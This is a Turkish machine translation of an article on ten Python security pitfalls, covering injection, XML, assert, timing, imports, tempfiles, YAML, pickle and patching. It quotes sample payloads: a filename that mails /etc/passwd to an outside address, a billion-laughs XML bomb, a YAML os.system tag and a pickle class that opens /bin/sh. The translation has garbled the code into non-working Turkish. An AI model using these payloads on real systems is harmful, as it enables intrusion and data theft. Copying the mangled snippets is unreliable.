Yıllarca Python'u öğrendikten sonra kaybolan güvenlik açıkları

Güvenli kod yazmak zordur. Bir dil, bir modül veya bir çerçeve öğrenirken öğrendiğiniz şey nasıl kullanılması gerektiğidir. Güvenlik açısından, nasıl istismar edilebileceklerini düşünmeniz gerekir. Standart kitaplık belgelerinde yanlış kullanım açıkça yazılsa bile Python bir istisna değildir. Öyle bile olsa, birçok Python geliştiricisiyle konuştuğumda, bunu bilmediklerini fark ettim.

Aşağıdakiler, yazarın yıllarca geliştirme sürecinde sık sık karşılaştığı Python uygulamalarında 10 tuzaktır.Bunlar belirli bir sıraya göre listelenmemiştir ve umarım Python öğrenen geliştiricilere yardımcı olurlar.

Giriş enjeksiyonu

Giriş enjeksiyon saldırıları yaygın olarak kullanılmaktadır. Tüm dilleri, çerçeveleri ve ortamları etkileyebilecek birçok enjeksiyon yöntemi vardır.

her şeyden önce SQL enjeksiyonu . ORM kullanmıyorsanız, ancak dizeleri değişkenlerle birleştirerek doğrudan SQL sorguları yazarsanız, SQL enjeksiyonu olasılığı vardır. SQL enjeksiyonunu önlemek için kaçış karakterlerini kullanmaya çalışan birçok kod gördüm. Aslında, kaçış karakteri bunu yapamaz.

  • Çeşitli karmaşık SQL enjeksiyon yöntemleri: https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

Komut enjeksiyonu İşlem popen, subprocess, os.system aracılığıyla çağrıldığında ve değişkenler parametre olarak iletildiğinde oluşur. Yerel komutları çağırırken, parametre değişkenleri yapay olarak kötü amaçlı değerlere ayarlanabilir. Aşağıdaki kod parçası (https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html) kullanıcı tarafından dosya adını sağlar ve ardından alt süreci çağırır:

alt süreci içe aktar def transcode_file (istek, dosya adı): command = 'ffmpeg -i "{kaynak}" output_file.mpg'.format (kaynak = dosyaadı) subprocess.call (komut, kabuk = True) # kötü bir fikir!

Saldırgan değişken adını "; cat / etc / passwd | mail them@domain.com veya benzeri tehlikeli komutlar olarak ayarlayabilir.

Çözüm:

Bir web çerçevesi kullanıyorsanız, girdiyi temizlemek için web çerçevesi tarafından sağlanan araçları kullanın. İyi bir nedeniniz olmadıkça, SQL sorgularını elle yazmayın. Çoğu ORM, bir saflaştırma aracı sağlayacaktır.

Komut satırı için, girdiden düzgün bir şekilde çıkmak için shlex modülünü kullanabilirsiniz (https://docs.python.org/3/library/shlex.html#shlex.quote).

XML'i ayrıştır

Uygulama XML dosyalarını yüklemek ve ayrıştırmaksa, kullandığınız XML standart kitaplık modülleri saldırıya uğrayabilir. XML yoluyla birkaç yaygın saldırı yöntemi vardır. Çoğu DoS saldırılarıdır (Hizmet Reddi saldırıları, amaç verileri çalmak değil, sistemi felç etmek). Bu saldırılar, özellikle harici XML dosyalarını (yani, güvenilmeyen XML dosyaları) ayrıştırmak gerektiğinde çok yaygındır.

Bir tür saldırıya "milyar gülme" saldırısı denir ve bu yöntem adını alır çünkü içeriği genellikle çok sayıda "lol" (milyarlar) içerir. İlke, XML'in varlıklara başvurabilmesidir, bu nedenle XML ayrıştırıcı dosyayı yüklediğinde, birkaç gigabayt bellek kaplar. İnanmıyorsan dene.

< ? xml version = "1.0"? > < ! DOCTYPE lolz < < ! ENTITY lol "lol" > < ! ENTITY lol2 "" > < ! ENTITY lol3 "lol2; lol2; lol2; lol2; lol2; lol2; lol2; lol2; lol2; lol2;" > < ! ENTITY lol4 "lol3; lol3; lol3; lol3; lol3; lol3; lol3; lol3; lol3; lol3;" > < ! ENTITY lol5 "lol4; lol4; lol4; lol4; lol4; lol4; lol4; lol4; lol4; lol4;" > < ! ENTITY lol6 "lol5; lol5; lol5; lol5; lol5; lol5; lol5; lol5; lol5; lol5;" > < ! ENTITY lol7 "lol6; lol6; lol6; lol6; lol6; lol6; lol6; lol6; lol6; lol6;" > < ! ENTITY lol8 "lol7; lol7; lol7; lol7; lol7; lol7; lol7; lol7; lol7; lol7;" > < ! ENTITY lol9 "lol8; lol8; lol8; lol8; lol8; lol8; lol8; lol8; lol8; lol8;" > > > < lolz > lol9; < / lolz >

Başka bir saldırı yöntemi, harici varlık genişletme olarak adlandırılır. XML, harici URL'lerden referans varlıklarını destekler, bu nedenle XML ayrıştırıcıları genellikle harici kaynakları şüphesiz okur ve yükler. "Bu istekler harici adreslerden değil, dahili güvenilir IP adreslerinden geldiğinden, saldırganlar bu yöntemi güvenlik duvarını atlamak ve başka şekilde erişilemeyen kaynaklara erişmek için kullanabilir."

Dikkate alınması gereken diğer bir durum, XML'i ayrıştırırken güvendiğiniz üçüncü taraf yazılım paketidir (yapılandırma dosyaları, uzak API'ler gibi). Bu saldırıya hangi bağımlılığın maruz kaldığını bile bilemezsiniz.

Peki ya Python? Aslında, standart kitaplığın etree, DOM ve xmlrpc modülleri bu saldırıdan büyük ölçüde etkilenir. Burada ayrıntılı belgeler bulunmaktadır: https://docs.python.org/3/library/xml.html#xml-vulnerabilities

çözüm:

Standart kitaplık modülünü değiştirmek için defusedxml (https://pypi.org/project/defusedxml/) kullanın. Bu modül, bu tür saldırıları önleyebilir.

Beyan

Kullanıcıların erişmemesi gereken kodu engellemek için assert ifadeleri kullanmayın. Örneğin, bu basit örnek:

def foo (istek, kullanıcı): user.is_admin assert, "kullanıcının erişimi yok" # güvenlik Kodu...

Varsayılan olarak __debug__, Python çalıştırıldığında doğrudur, ancak bazı optimizasyonlar genellikle bir üretim ortamında yapılır, böylece tüm iddialar yürütülmez, böylece kullanıcının yönetici olup olmadığına bakılmaksızın aşağıdaki koda erişilebilir.

çözüm:

Onay ifadeleri, yalnızca geliştiricilere birim testlerinde olduğu gibi bilgi sağlamak veya yanlış API kullanımını önlemek için kullanılır.

Zamanlama saldırısı

Zamanlama saldırısının temel ilkesi, kodun yürütme süresini ölçerek kodun davranışını ve algoritmasını değerlendirmektir. Zamanlama saldırıları, hassas zaman ölçümü gerektirir, bu nedenle genellikle yüksek gecikmeli uzak ağlarda uygulanmazlar. Çoğu web uygulamasının gecikme süresi büyük ölçüde değişiklik gösterdiğinden, HTTP web sunucularında zamanlama saldırıları uygulamak neredeyse imkansızdır.

Bununla birlikte, parola isteyen bir komut satırı uygulaması varsa, saldırgan basit bir komut dosyası yazabilir ve verilen değeri gerçek parola ile karşılaştırmak için geçen süreyi ölçebilir. Örnek burada (

Bu SSH tabanlı zamanlama saldırısı (https://github.com/c0r3dump3d/osueta) gibi Python'da yazılmış çok iyi örnekler var. Gidip nasıl çalıştıklarını görebilirsiniz.

çözüm:

Şifreleri diğer gizli değerlerle karşılaştırmak için Python 3.5'e yeni eklenen secrets.compare_digest'i kullanın.

Kirlenmiş site paketleri veya içe aktarma yolu

Python'un ithalat sistemi çok esnektir. Bu, test programları yazarken veya temel işlevleri yeniden yüklemeniz gerektiğinde çok kullanışlıdır.

Ancak, Python'un en büyük güvenlik açıklarından biridir.

Üçüncü taraf yazılım paketlerinin, ister sanal bir ortama ister genel site paketlerine (genel yöntem kesinlikle önerilmez), site paketlerine yüklenmesi, bu paketlerdeki güvenlik açıklarını ortaya çıkaracaktır.

Rasgele kod çalıştıran paketler PyPi'de popüler paketlere benzer adlarla yayınlandı ( En büyük kaza, herhangi bir zarar vermeden sadece insanlara hatırlatmak olsa da henüz çözülemedi ...

Akla gelebilecek başka bir durum, bağımlı bağımlılıktır (ve daha fazla bağımlılık vb.). Bu, güvenlik açıklarına neden olabilir ve ayrıca ithalat sistemi aracılığıyla Python'un temel işlevlerini aşırı yüklemek de mümkündür.

çözüm:

Yazılım paketini inceleyin. PyUp.io'ya ve güvenlik hizmetlerine ( göz atın. Tüm uygulamalar sanal ortamları kullanır ve küresel site paketleri ne kadar temiz olursa o kadar iyidir. Paketin imzasını kontrol edin.

Geçici dosyalar

Python'da geçici bir dosya oluşturmak için, mktemp () genellikle bir dosya adı oluşturmak için kullanılır ve ardından bir dosya oluşturmak için dosya adını kullanır. "Bu yöntem güvenli değildir, çünkü başka bir işlem mktemp () çağrınız ile sonraki dosya oluşturma çağrısı arasında bir dosya oluşturabilir." (Https://docs.python.org/3/library/tempfile. html # kullanımdan kaldırılmış-işlevler-ve-değişkenler) Bu, bu yöntemin uygulamanızı yanlış verileri yüklemeye veya geçici dosyalara veri sızdırmasına neden olabileceği anlamına gelir.

Python'un en son sürümünde, yanlış yöntem çağrılırsa, bir çalışma zamanı uyarısı ortaya çıkar.

çözüm:

Geçici bir dosya oluşturmanız gerektiğinde, tempfile modülünü ve mkstemp işlevini (https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp) kullanın.

Yaml.load kullanın

PyYAML belgelerinde uyarıdan alıntı yapmak:

Uyarı: Güvenilmeyen herhangi bir kaynaktan gelen verilerde yaml.load'ı çağırmak güvenli değildir! yaml.load ve pickle.load eşit derecede güçlüdür ve herhangi bir Python işlevini çağırabilir.

Popüler Python projesi Ansible'da çok güzel bir örnek var (https://www.talosintelligence.com/reports/TALOS-2017-0305). Ansible Vault'a aşağıdaki (yasal) YAML'yi sağlayın. Dosyada sağlanan parametrelerle os.system () 'i çağıracaktır.

!! python / nesne / apply: os.system

Bu nedenle, kullanıcı tarafından sağlanan YAML dosyasının yüklenmesi bu saldırıya maruz kalacaktır.

çözüm:

Yeterli neden olmadıkça, her zaman yaml.safe_load kullanın.

Turşu

Turşu verilerinin serileştirilmesi, YAML kadar kırılgandır. Python sınıfı, pickle sırasında çağrılacak olan çağrılabilir nesneler ve parametreler içeren bir dize veya tuple döndürebilen __reduce__ sihirli yöntemini tanımlayabilir. Bir saldırgan, sistemde rasgele komutlar yürütmek için belirli bir alt işlem modülünü bu şekilde çağırabilir.

Bu örnek (https://blog.nelhage.com/2011/03/exploiting-pickle/), Python 2'de kabuğu açmak için bir sınıfın nasıl seçileceğini gösterir. Burada (https://lincolnloop.com/blog/playing-pickle-security/) turşuya nasıl saldırılacağına dair daha fazla örnek var.

cPickle'ı içe aktar alt süreci içe aktar base64'ü içe aktar sınıf RunBinSh (nesne): def __reduce __ (kendi): return (altprocess.Popen, (('/ bin / sh',),)) base64.b64encode (cPickle.dumps (RunBinSh ())) yazdır

çözüm:

Güvenilmeyen veya kimliği doğrulanmamış veri kaynaklarından verileri asla ayırmayın. JSON gibi diğer serileştirme yöntemlerini kullanın.

Sistemin Python çalışma zamanı kullanılırken paketlenmemiş

Çoğu POSIX sistemi, genellikle çok eski olan Python 2 ile birlikte gelir.

Python (yani CPython) C'de yazıldığından, bazen Python yorumlayıcısının kendisinde boşluklar vardır. Genellikle C diliyle ilgili güvenlik açıkları bellek tahsisinde, yani arabellek taşması güvenlik açığındadır.

Yıllar boyunca, CPython'da birçok taşma güvenlik açığı vardır ve bu güvenlik açıkları sonraki sürümlerde giderilmiştir.

Yani, zamanında bağladığınız sürece güvendesiniz.

İşte bir Python 2.7.13 örneği (https://www.cvedetails.com/cve/CVE-2017-1000158/), tamsayı taşması rastgele kod yürütülmesine izin verir. Ubuntu 17'den önceki tüm işletim sistemleri bu sürümü kullanır (yamalı değilse).

çözüm:

Python'un en son sürümünü bir üretim ortamında kullanın ve yama yapmayı unutmayın!

Bağımlılıklara yama uygulamayın

Çalışma zamanını yamalamaya benzer şekilde, bağımlılıklar da düzenli olarak yamalanmalıdır.

PyP'den Python paketinin "sabit" sürüm numarasını yüklemenin kötü bir fikir olduğunu düşünüyorum. Buradaki fikir şudur: "bu sürümler normal çalışabilir", böylece herkes onları umursamaz.

Yukarıda bahsettiğim güvenlik açıkları, uygulama tarafından kullanılan yazılım paketlerinde ortaya çıkarsa da çok tehlikelidir. Ve bu yazılım paketlerinin geliştiricileri bu güvenlik açıklarını sürekli olarak düzeltiyorlar.

çözüm:

Güncellemeleri kontrol etmek, uygulamanıza yeni yamalar eklemek ve paketlerin güncel olduğundan emin olmak için testler yapmak için PyUp.io gibi hizmetleri kullanın.

Doğru yamanın uygulandığından emin olmak için ürün ortamında yüklü sürümü doğrulamak için InSpec gibi araçlar kullanın.

  • Referans: https://access.redhat.com/blogs/766093/posts/2592591

Orijinal: https://hackernoon.com/10-common-security-gotchas-in-python-and-how-to-avoid-them-e19fbe265e03

Yazar: Anthony Shaw, Dimension Data'nın inovasyon ve teknoloji geliştirme direktörü.

Çevirmen: Crescent Moon, Kurgu: Tu Min

Belgeler için arayın!

CSDN kamu hesabı, "on milyonlarca teknik insanla büyüme" kavramını destekler. Teknik insanların ilk kez ilgilendiği endüstri odak olaylarını teknik insanların benzersiz bakış açılarından açıklamak için yalnızca "inek başlıkları" ve "konuşma" sütunlarını kullanmakla kalmaz, aynı zamanda "Teknik Başlıklar" sütunu, sektördeki popüler teknolojilerin ve uygulamaların derinlemesine bir yorumunu sunarak, tüm geliştiricilerin teknolojik trendlere ayak uydurmasına, uyanık bir teknolojik anlayışı sürdürmesine ve sektör eğilimleri ve teknolojileri hakkında daha kapsamlı bir anlayışa sahip olmasına olanak tanır.

Yüksek kaliteli makaleleriniz veya endüstrinin sıcak olayları, teknoloji trendleri hakkında içgörüler veya derinlemesine uygulama uygulamaları, senaryolar vb. Hakkında yeni içgörüleriniz varsa, lütfen gönderimler için CSDN ile iletişime geçin. İletişim: WeChat (guorui_1118, lütfen gönderim + ad + şirket pozisyonunu not edin), e-posta (guorui@csdn.net).

Lübnan 4-1 Kuzey Kore, Vietnam'dan fazla sarı kart gördüğü için elendi
önceki
Denize gitmek, yerel tarayıcı ürünleri için tek çıkış yolu olabilir
Sonraki
garip! "New York Times" Çin futbolundan bahsetti, bir taraf yazıldı
2019 Qingdao West Coast New District halk sanatı performansı başladı
Standart Baojun'u değiştirirken akıllı sürüş ile buluşuyor, önce Baojun RS-5'i test edin
Baidu Kunlun çipini yayınladı; Li Xiaolai'nin küfürlü sözleri açığa çıktı; Facebook'un boşlukları var | CSDN geek manşetleri
Sevgiyle güçlendirme Epson, Çin aile eğitimine tam anlamıyla yardımcı oluyor
Önce sıcak arama! "Gezici Dünya" yine rekoru kırdı! Devam filmi varsa, hala Qingdao'da çekim ...
Zhang Xiaolong'da ateş! Baidu akıllı uygulamayı sunar
Başkent'ten Destek ve İşbirliği Halkın Kalplerini Çalıştırmak için Sincan'a Kültürel Yardım, Jinghe Çin Rüyası Hakkında Konuşuyor
Qingdao, Çin'in bu alandaki "uzay yarışına" girmesine yardımcı oluyor! Netizen: Mükemmel!
Robin Li: Baidu'nun söylediği şey bugün gerçekleşti!
Anahtar top ileri! Umman 3-1 Türkmenistan heyecan verici ilerliyor
Başkentten Destek ve İşbirliği Çöl Populusu olmak isteyen Pekin'e Yardım Sincan Doktoru
To Top